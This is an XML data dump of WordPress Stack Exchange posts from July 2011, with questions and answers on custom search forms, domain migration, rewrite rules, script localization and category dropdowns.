  <row Id="23531" PostTypeId="2" ParentId="23421" CreationDate="2011-07-20T10:57:42.453" Score="0" ViewCount="" Body="&lt;p&gt;Thank you very much for your answers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally found what I wanted here : &lt;a href=&quot;http://sixrevisions.com/wordpress/custom-fields-search/&quot; rel=&quot;nofollow&quot;&gt;http://sixrevisions.com/wordpress/custom-fields-search/&lt;/a&gt;&#xA;Here is the code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;search&quot; action=&quot;&quot; method=&quot;get&quot;&amp;gt;&#xA;&amp;lt;select name=&quot;City&quot;&amp;gt;&#xA; &amp;lt;?php&#xA;  $metakey = 'city';&#xA;  $cities = $wpdb-&amp;gt;get_col($wpdb-&amp;gt;prepare(&quot;SELECT DISTINCT meta_value FROM $wpdb-&amp;gt;postmeta WHERE meta_key = %s ORDER BY meta_value ASC&quot;, $metakey) );&#xA;  if ($cities) {&#xA;    foreach ($cities as $city) {&#xA;  echo &quot;&amp;lt;option value=\&quot;&quot; . $city . &quot;\&quot;&amp;gt;&quot; . $city . &quot;&amp;lt;/option&amp;gt;&quot;;&#xA;    }&#xA;    }&#xA; ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;search&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a brilliant article and it helped me a lot! I hope it'll help others too.&lt;/p&gt;&#xA;" OwnerUserId="7131" LastActivityDate="2011-07-20T10:57:42.453" />
  <row Id="23532" PostTypeId="1" CreationDate="2011-07-20T11:12:21.737" Score="0" ViewCount="24" Body="&lt;p&gt;I have done all the steps requiered to import the dump.sql file to new database, and copiey the entire content from the old domain over to the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i login to mydomain/wp-admin, i'm redirected back to the frontpage of the old domain, and can't access my control panel. I've followed all the steps for setting it up to the new domain, but i can't figure out where the problem is.&lt;/p&gt;&#xA;" OwnerUserId="7169" LastActivityDate="2011-07-20T13:22:51.580" Title="Moving an entire wordpress site from one domain to a new domain and database" Tags="&lt;database&gt;&lt;sql&gt;" AnswerCount="2" />
  <row Id="23533" PostTypeId="2" ParentId="23522" CreationDate="2011-07-20T11:16:01.063" Score="0" ViewCount="" Body="&lt;p&gt;Try to deactivate all your plugins, activate the default wp theme, and check the load,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the load is normal then one by one start activating the plugins,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will help you to trigger which plugin or theme is affecting the load on server,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this also doesn't solves then optimize your database tables through phpmyadmin,&#xA;and also see whether your wp is updated or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be the best practice to troubleshoot the load.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-20T11:16:01.063" />
  <row Id="23534" PostTypeId="1" CreationDate="2011-07-20T08:59:31.877" Score="0" ViewCount="21" Body="&lt;p&gt;I just don't understand why WordPress will display &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not Found Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Although I can see a recent post in the sidebar and can publish a post? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens if I change a theme. In twentyten theme, post are displayed. But when I switch to other theme, it will result the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All plugins are deactivated and permalinks are in default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else can I do about this? &lt;/p&gt;&#xA;" LastActivityDate="2011-07-20T11:23:08.830" Title="Post not found in wordpress site" Tags="&lt;themes&gt;" CommentCount="1" />
  <row Id="23535" PostTypeId="2" ParentId="23532" CreationDate="2011-07-20T11:26:36.217" Score="2" ViewCount="" Body="&lt;p&gt;First add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_SITEURL', 'http://example.com');&#xA;define('WP_HOME', 'http://example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To your wp-config.php file (obviously change example.com to your domain)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then login and once you see the admin panel navigate to &lt;code&gt;http://yoursite/wp-admin/options.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there you can change &lt;code&gt;home&lt;/code&gt; and &lt;code&gt;siteurl&lt;/code&gt; to your new domain and save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also need to change the links for images and other media in your post database table.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-20T11:26:36.217" />
  <row Id="23536" PostTypeId="2" ParentId="23467" CreationDate="2011-07-20T12:03:59.223" Score="0" ViewCount="" Body="&lt;p&gt;First create a function to display your search form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_custom_search_form($atts){&#xA;    $return = '&amp;lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;'.home_url( '/' ).'&quot;&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;s&quot;&amp;gt;Search for:&amp;lt;/label&amp;gt;&#xA;                    '.wp_dropdown_categories(array('name' =&amp;gt;'taxTerm', 'taxonomy' =&amp;gt; 'TAXONOMY_NAME').'&#xA;&#xA;    &amp;lt;!-- this is the magic field you will need to change in order for this to work with each post types---&amp;gt;&#xA;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;post&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;custom_search&quot; value=&quot;1&quot;&amp;gt; &#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/form&amp;gt;';&#xA;    if ($echo){&#xA;        echo $return;&#xA;    }else{&#xA;        return $return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hook this function as a shortcode so you could use it anywhere you want (post/page/widget)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('my_c_s','display_custom_search_form');&#xA;add_filter('widget_text', 'do_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you check if the form is submitted and if so you can filter the posts based on that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//was the form submitted&#xA;&#xA;if (isset($_GET['custom_search']) &amp;amp;&amp;amp; $_GET['custom_search'] == 1){&#xA;    add_filter('pre_get_posts','Custom_Search_Filter');&#xA;}&#xA;&#xA; //function to actually filter the posts based on the taxonomy term and post type&#xA;function Custom_Search_Filter($query) {&#xA;    //only do this on search&#xA;    if (is_search()){&#xA;        //first check for the first type if not set then its the default post.&#xA;        $post_type = $_GET['post_type'];&#xA;        if (!$post_type) {&#xA;            $post_type = 'post';&#xA;        }&#xA;        $query-&amp;gt;set('post_type', $post_type);&#xA;&#xA;        //then check for the taxonomy term&#xA;        if (isset($_GET['taxTerm'])){&#xA;            $query-&amp;gt;set('TAXONOMY_NAME', $_GET['taxTerm']);&#xA;        }&#xA;    }&#xA;&#xA;    return $query;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;copy all of the code in to you theme's functions.php&#xA;and change TAXONOMY_NAME to your actual custom taxonomy name (its there twice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;open your widgets panel and add a simple text widget with &lt;code&gt;[my_c_s]&lt;/code&gt; inside and save.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-20T12:03:59.223" CommentCount="1" />
  <row Id="23537" PostTypeId="1" CreationDate="2011-07-20T12:05:06.313" Score="0" ViewCount="36" Body="&lt;p&gt;I have a problem with my rewrite rules. I want to rewrite and use my variables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[OK] host.com/handies -&gt; shows all&lt;br&gt;&#xA;[fails] host.com/handies/page/2 -&gt; shows all (page 2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[OK] host.com/handies/nokia -&gt; shows all nokia&lt;br&gt;&#xA;[fails] host.com/handies/nokia/page/2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[OK] host.com/handies/nokia/3330 -&gt; shows all nokia modell 3330&lt;br&gt;&#xA;[fails] host.com/handies/nokia/3330/page/2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My functions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_mypage_var($public_query_vars) {&#xA;    $public_query_vars[] = 'brand';&#xA;    $public_query_vars[] = 'modell';&#xA;    return $public_query_vars;&#xA;}&#xA;function do_rewrite_mypage() {&#xA;    add_rewrite_rule(&#xA;        'handies/([a-zA-Z0-9-]*[/]){0,2}(page/([0-9]+))?/?$',       &#xA;        'index.php?page_id=15&amp;amp;brand=$matches[1]&amp;amp;modell=$matches[2]&amp;amp;paged=$matches[3]',&#xA;        'top'&#xA;    );&#xA;}&#xA;add_filter('query_vars', 'add_mypage_var');&#xA;add_action('init', 'do_rewrite_mypage');&#xA;&#xA;function flushRules(){&#xA;&#xA;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;add_filter('init','flushRules'); ´&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where is my fault?&lt;br&gt;&#xA;Thanks a lot!&lt;br&gt;&#xA;NIK&lt;/p&gt;&#xA;" OwnerUserId="7170" LastEditorUserId="7170" LastEditorDisplayName="" LastEditDate="2011-07-20T20:15:44.840" LastActivityDate="2011-07-20T20:15:44.840" Title="add_rewrite_rule and pagination (problem with paged)" Tags="&lt;url-rewriting&gt;&lt;pagination&gt;&lt;variables&gt;&lt;paged&gt;" CommentCount="3" />
  <row Id="23538" PostTypeId="2" ParentId="23443" CreationDate="2011-07-20T12:05:40.797" Score="0" ViewCount="" Body="&lt;p&gt;sorry i got confused with the editor. anyway what i need right now is to display the thumbnail in a size of 300x300 but have a larger image to display when the user clicks on the thumbnail. i saw the loop-attachment.php and i think i have to use this one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $attachment_page = get_attachment_link( $attachment_id ); ?&amp;gt;&#xA;                &amp;lt;?php $thumb=get_the_post_thumbnail(); ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $attachment_page; ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;?php the_post_thumbnail();?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it is not working. i dont know if i have to post it as a new question also. &lt;/p&gt;&#xA;" OwnerUserId="6982" LastActivityDate="2011-07-20T12:05:40.797" CommentCount="2" />
  <row Id="23539" PostTypeId="1" CreationDate="2011-07-20T12:08:23.790" Score="1" ViewCount="23" Body="&lt;p&gt;I have about 10+ individual Wordpress websites and another Wordpress MU website with about 24 users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a good web hosting company / plan to host this. The numbers may grow in the next years, so I need a long-term service for this, possibly affordable and with good support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I am searching for is:&#xA;- very good uptime;&#xA;- security, shared ssl certificate;&#xA;- unlimited domains, bandwidth, space;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would you recommend based on your experience? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2011-07-20T12:15:49.100" Title="What would you recommend for hosting 10+ individual wordpress websites?" Tags="&lt;multisite&gt;&lt;hosting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23541" PostTypeId="2" ParentId="23525" CreationDate="2011-07-20T12:13:47.667" Score="1" ViewCount="" Body="&lt;p&gt;You get custom field values with &lt;code&gt;get_post_meta()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress has a function called &lt;code&gt;wp_localize_script()&lt;/code&gt; that's used to, as the name suggests, localized scripts by creating a javascript object from a PHP array.  When you use wp_enqueue_script() to add a script to the front end of wordpress, you can &quot;localize&quot; it by calling &lt;code&gt;wp_localize_script()&lt;/code&gt; afterwards. If you need to get values from custom fields or some other place from the database into some sort of javascript object, this is probably the easiest way to do it.  Not exactly what &lt;code&gt;wp_localize_script&lt;/code&gt; was designed for, but it will get the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_scripts', 'wpse23525_add_scripts' );&#xA;function wpse23525_add_scripts()&#xA;{&#xA;&#xA;    // Only for single posts&#xA;    if( !is_single() ) return;&#xA;&#xA;    wp_enqueue_script( 'wpse23525_script', 'path/to/script.js', array( 'jquery' ) );&#xA;&#xA;    // We should have $post by now, but get it if not&#xA;    global $post;&#xA;    if( empty( $post ) ) $post = get_queried_object();&#xA;&#xA;    $localize = array( &#xA;        'some_key'      =&amp;gt; get_post_meta( $post-&amp;gt;ID, 'some_key', true ),&#xA;        'another_key'   =&amp;gt; get_post_meta( $post-&amp;gt;ID, 'another_key', true ),&#xA;        'one_more'      =&amp;gt; get_post_meta( $post-&amp;gt;ID, 'one_more', true )&#xA;    );&#xA;&#xA;    wp_localize_script( 'wpse23525_script', 'wpse23525_obj', $localize );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which spits out this on the front end (values may change, of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&amp;gt; &#xA;/* &amp;lt;![CDATA[ */&#xA;var wpse23525_obj = {&#xA;    some_key: &quot;test1&quot;,&#xA;    another_key: &quot;test2&quot;,&#xA;    one_more: &quot;test3&quot;&#xA;};&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type='text/javascript' src='http://localhost:8888/wp3.2path/to/script.js?ver=3.2.1'&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;script.js would contain all the things you're planning on doing with the data, which can be accessed with &lt;code&gt;wpse23525_obj.some_key&lt;/code&gt; or &lt;code&gt;wpse23525_obj.another_key&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var imageToBeLoaded = &quot;images/bg_index.jpg&quot;;&#xA;$(document).ready( function () {&#xA;if(window.screen.width &amp;gt; 1024) {&#xA;  imageToBeLoaded = &quot;images/bg_index_large.jpg&quot;;&#xA;}});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var imageToBeLoaded = wpse23525_obj.another_key;&#xA;$(document).ready( function () {&#xA;if(window.screen.width &amp;gt; 1024) {&#xA;  imageToBeLoaded = wpse23525_obj.some_key;&#xA;}});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More reading:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_localize_script&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yoast.com/get-queried-object/&quot; rel=&quot;nofollow&quot;&gt;http://yoast.com/get-queried-object/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-07-20T12:13:47.667" CommentCount="2" />
  <row Id="23542" PostTypeId="2" ParentId="23539" CreationDate="2011-07-20T12:15:49.100" Score="2" ViewCount="" Body="&lt;p&gt;According to your sites quantity and requirements, I will recommend you cloud hosting, as it is fully flexible you can upgrade it any time,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can go with VPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cloud rackspace is the best, and it has good uptime + Live Chat support(I have never used, but heard a lot good reviews about it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for VPS, I am using intovps.com, they are cheap and good uptime.&#xA;But its fully unmanaged&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-20T12:15:49.100" CommentCount="0" />
  <row Id="23544" PostTypeId="2" ParentId="23509" CreationDate="2011-07-20T12:20:17.640" Score="1" ViewCount="" Body="&lt;p&gt;the problem is you keep resting the values here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $options = array(&#xA;        'cemb_seminar_seminars_college' =&amp;gt; '0',&#xA;        'cemb_seminar_showcases_college' =&amp;gt; '0',&#xA;        'cemb_seminar_writers_college' &amp;gt; '0',&#xA;        'cemb_seminar_aet_college' =&amp;gt; '0',&#xA;        'cemb_seminar_mbu_college' =&amp;gt; '0',&#xA;        'cemb_seminar_eis_college' =&amp;gt; '0',&#xA;        'cemb_seminar_sng_college' =&amp;gt; '0',&#xA;    );&#xA;    update_option( 'cemb_seminar_options', $options );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change it to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = get_option('cemb_seminar_options');&#xA;if ($options === false){&#xA;$options = array(&#xA;            'cemb_seminar_seminars_college' =&amp;gt; '0',&#xA;            'cemb_seminar_showcases_college' =&amp;gt; '0',&#xA;            'cemb_seminar_writers_college' &amp;gt; '0',&#xA;            'cemb_seminar_aet_college' =&amp;gt; '0',&#xA;            'cemb_seminar_mbu_college' =&amp;gt; '0',&#xA;            'cemb_seminar_eis_college' =&amp;gt; '0',&#xA;            'cemb_seminar_sng_college' =&amp;gt; '0',&#xA;        );&#xA;        update_option( 'cemb_seminar_options', $options );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it will only run if 'cemb_seminar_options' is not set in the database&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-20T12:20:17.640" CommentCount="3" />
  <row Id="23545" PostTypeId="2" ParentId="22688" CreationDate="2011-07-20T12:35:20.720" Score="1" ViewCount="" Body="&lt;p&gt;I recommend you to make free versions of your plugins / themes which you submit to Wordpress plugins / themes directory, and include in them links to your paid versions. Is the best way to promote your work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here &lt;a href=&quot;http://mashable.com/2009/02/28/sell-designs-online/&quot; rel=&quot;nofollow&quot;&gt;http://mashable.com/2009/02/28/sell-designs-online/&lt;/a&gt; you can find an extended list of marketplaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend &lt;a href=&quot;http://www.mojo-themes.com/&quot; rel=&quot;nofollow&quot;&gt;Mojo Themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2011-07-20T12:35:20.720" />
  <row Id="23546" PostTypeId="1" AcceptedAnswerId="23550" CreationDate="2011-07-20T12:37:43.403" Score="0" ViewCount="54" Body="&lt;p&gt;I need a bit of quick help. How do I exclude category ID number 50 for example in drop down list form in Wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code and I need to just insert the excluded category id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$cate_id = retrieve_cat_data(true);&#xA;$cate_name = retrieve_cat_data(false);&#xA;for ($i = 0; $i &amp;lt; count($cate_name); $i++ ) { &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;option value=&quot;&amp;lt;?php echo $cate_id[$i]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $cate_name[$i]; ?&amp;gt;&#xA;&amp;lt;/option&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance to everyone :)&lt;/p&gt;&#xA;" OwnerUserId="5499" LastActivityDate="2011-07-20T14:28:34.110" Title="Exclude category from drop down list form" Tags="&lt;categories&gt;&lt;form&gt;&lt;dropdown&gt;&lt;exclude&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="23547" PostTypeId="1" CreationDate="2011-07-20T13:09:12.610" Score="0" ViewCount="21" Body="&lt;p&gt;This is my blog &lt;a href=&quot;http://animeii.tk/&quot; rel=&quot;nofollow&quot;&gt;http://animeii.tk/&lt;/a&gt; (it might be down from time to time since the domain is still new)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme is Magazeen and I have this code there:&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;dock-back container clearfix&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;latest&quot;&amp;gt;&amp;lt;h90&amp;gt;&#xA;            Check out the Latest Articles:&#xA;        &amp;lt;/h90&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;ul id=&quot;dock&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;                $dock = new WP_Query();&#xA;                $dock-&amp;gt;query( 'showposts=9' );&#xA;                while( $dock-&amp;gt;have_posts() ) : $dock-&amp;gt;the_post();&#xA;            ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; &amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php bloginfo( 'template_directory' ); ?&amp;gt;/timthumb.php?src=&amp;lt;?php echo get_post_meta( $post-&amp;gt;ID, &quot;image_value&quot;, true ); ?&amp;gt;&amp;amp;amp;w=69&amp;amp;amp;h=54&amp;amp;amp;zc=1&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;                &amp;lt;span&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php&#xA;                endwhile;&#xA;            ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- End container --&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- End latest-dock --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically when hovering on a post - image , the &quot;Check out the latest...&quot; changes to the name of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the plugin WP-PostRatings is activated, the dock doesn't work on homepage. ONLY on post-pages and pages...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I deactivate the plugin it's all working fine again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other plugin for ratings that I can customize and put wherever I want it ?&#xA;Or is there a way to fix this ?&lt;/p&gt;&#xA;" OwnerUserId="7100" LastActivityDate="2011-08-19T17:32:21.687" Title="Plugin prevents code from working" Tags="&lt;plugins&gt;&lt;rating&gt;" AnswerCount="1" />
  <row Id="23548" PostTypeId="2" ParentId="17718" CreationDate="2011-07-20T13:12:44.027" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure if this plugin is still actively supported, but it does exactly what you're looking for: &lt;a href=&quot;http://wordpress.org/extend/plugins/feature-suggest/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/feature-suggest/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-07-20T13:12:44.027" />
  <row Id="23549" PostTypeId="2" ParentId="23546" CreationDate="2011-07-20T13:16:10.103" Score="0" ViewCount="" Body="&lt;p&gt;indeed. we have to see the function &lt;code&gt;retrieve_cat_data&lt;/code&gt; for a answer.&lt;/p&gt;&#xA;" OwnerUserId="7170" LastActivityDate="2011-07-20T13:16:10.103" CommentCount="6" />
  <row Id="23550" PostTypeId="2" ParentId="23546" CreationDate="2011-07-20T13:17:37.707" Score="1" ViewCount="" Body="&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$cat_to_EXCLUDE = 50;&#xA;$cate_id = retrieve_cat_data(true);&#xA;$cate_name = retrieve_cat_data(false);&#xA;for ($i = 0; $i &amp;lt; count($cate_name); $i++ ) { &#xA;?&amp;gt;&#xA;if ($cate_id[$i] != $cat_to_EXCLUDE){&#xA;&amp;lt;option value=&quot;&amp;lt;?php echo $cate_id[$i]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $cate_name[$i]; ?&amp;gt;&#xA;&amp;lt;/option&amp;gt;&amp;lt;?php }} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;if you search your theme's functions.php file i bet you will find a function named &lt;code&gt;retrieve_cat_data&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway you can simple create a dropdown using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_dropdown_categories&lt;/code&gt;&lt;/a&gt;&#xA;and you can exclude a category with its &lt;code&gt;exclude&lt;/code&gt; argument :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_dropdown_categories('exclude=50'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-20T14:28:34.110" LastActivityDate="2011-07-20T14:28:34.110" CommentCount="3" />
  <row Id="23551" PostTypeId="2" ParentId="23532" CreationDate="2011-07-20T13:22:51.580" Score="1" ViewCount="" Body="&lt;p&gt;Update URLs in the database, re: &lt;a href=&quot;http://www.mydigitallife.info/2007/10/01/how-to-move-wordpress-blog-to-new-domain-or-location/&quot; rel=&quot;nofollow&quot;&gt;How to Move WordPress Blog to New Domain or Location&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://olddomain.com', 'http://newdomain.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://olddomain.com','http://newdomain.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://olddomain.com', 'http://newdomain.com');&#xA;&#xA;UPDATE wp_postmeta SET meta_value = replace(meta_value, 'http://olddomain.com', 'http://newdomain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and/or, &lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;Search RegEx&lt;/a&gt; is a good plugin to be able to search and replace with Grep through all posts and pages.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-20T13:22:51.580" />
  <row Id="23552" PostTypeId="2" ParentId="299" CreationDate="2011-07-20T13:24:17.060" Score="0" ViewCount="" Body="&lt;p&gt;otto has a wrote a &lt;a href=&quot;http://ottopress.com/2011/photo-gallery-primer/&quot; rel=&quot;nofollow&quot;&gt;perfect tutorial&lt;/a&gt; on how to get the same gallery results as ma.tt's without using a plugin i have already made mine.&lt;/p&gt;&#xA;" OwnerUserId="7172" LastActivityDate="2011-07-20T13:24:17.060" CommunityOwnedDate="2011-07-20T13:24:17.060" />
